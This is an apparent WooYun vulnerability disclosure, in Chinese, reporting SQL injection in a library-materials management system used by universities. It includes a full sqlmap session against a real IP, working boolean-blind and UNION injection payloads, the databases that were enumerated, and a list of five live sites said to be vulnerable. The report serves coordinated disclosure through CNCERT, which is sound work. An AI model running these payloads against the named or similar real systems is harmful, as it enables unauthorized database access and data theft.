当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061420

漏洞标题:博云非书资料管理系统SQL注入

相关厂商:杭州麦达电子有限公司

漏洞作者: thx

提交时间:2014-05-23 19:19

修复时间:2014-07-07 19:19

公开时间:2014-07-07 19:19

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-23: 细节已通知厂商并且等待厂商处理中
2014-05-28: 厂商已经确认,细节仅向厂商公开
2014-06-07: 细节向核心白帽子及相关领域专家公开
2014-06-17: 细节向普通白帽子公开
2014-06-27: 细节向实习白帽子公开
2014-07-07: 细节向公众公开

简要描述:

JSP+MSSQL,能搜到的使用该系统的网站不多,但多为大学学院使用

详细说明:

注入点:
http://211.68.196.67:808/poweb/asearch.do?LanguageType=0&status=showpage
参数:LanguageType

C:\Python27\sqlmap>sqlmap.py -u "http://211.68.196.67:808/poweb/asearch.do?Langu
ageType=0&status=showpage" --dbms=mssql
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:37:38
[13:37:39] [INFO] testing connection to the target url
[13:37:39] [INFO] testing if the url is stable, wait a few seconds
[13:37:40] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[13:37:43] [INFO] testing if GET parameter 'LanguageType' is dynamic
[13:37:43] [INFO] confirming that GET parameter 'LanguageType' is dynamic
[13:37:44] [INFO] GET parameter 'LanguageType' is dynamic
[13:37:44] [WARNING] reflective value(s) found and filtering out
[13:37:44] [WARNING] heuristic test shows that GET parameter 'LanguageType' migh
t not be injectable
[13:37:44] [INFO] testing for SQL injection on GET parameter 'LanguageType'
[13:37:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:37:49] [INFO] GET parameter 'LanguageType' is 'AND boolean-based blind - WHE
RE or HAVING clause' injectable
[13:37:49] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[13:37:49] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[13:37:54] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[13:37:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:37:59] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[13:38:00] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[13:38:04] [INFO] target url appears to have 4 columns in query
[13:38:06] [INFO] GET parameter 'LanguageType' is 'Generic UNION query (NULL) -
1 to 20 columns' injectable
GET parameter 'LanguageType' is vulnerable. Do you want to keep testing the othe
rs (if any)? [y/N] n
sqlmap identified the following injection points with a total of 23 HTTP(s) requ
ests:
---
Place: GET
Parameter: LanguageType
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: LanguageType=0' AND 4718=4718 AND 'euxf'='euxf&status=showpage
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: LanguageType=0' UNION ALL SELECT NULL,CHAR(58)+CHAR(105)+CHAR(114)+
CHAR(109)+CHAR(58)+CHAR(89)+CHAR(102)+CHAR(70)+CHAR(99)+CHAR(117)+CHAR(112)+CHAR
(111)+CHAR(75)+CHAR(86)+CHAR(109)+CHAR(58)+CHAR(102)+CHAR(119)+CHAR(115)+CHAR(58
),NULL,NULL-- &status=showpage
---
[13:38:13] [INFO] testing Microsoft SQL Server
[13:38:13] [INFO] confirming Microsoft SQL Server
[13:38:14] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000


web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[18:36:15] [INFO] fetching database names
available databases [8]:
[*] Gders
[*] master
[*] model
[*] msdb
[*] Northwind
[*] proone
[*] pubs
[*] tempdb

漏洞证明:

简单验证了几个存在漏洞的网站:
http://lib.sdwm.cn:9999/poweb/asearch.do?LanguageType=0&status=showpage
http://bwss.nlic.net.cn:8080/poweb/asearch.do?LanguageType=0&status=showpage
http://lib.zust.edu.cn:8080/poweb/asearch.do?LanguageType=0&status=showpage
http://res.sdju.edu.cn:8000/poweb/asearch.do?LanguageType=0&status=showpage
http://rom.hztsg.com:9091/poweb/asearch.do?LanguageType=0&status=showpage

修复方案:

版权声明:转载请注明来源 thx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-28 10:24

厂商回复:

最新状态:

暂无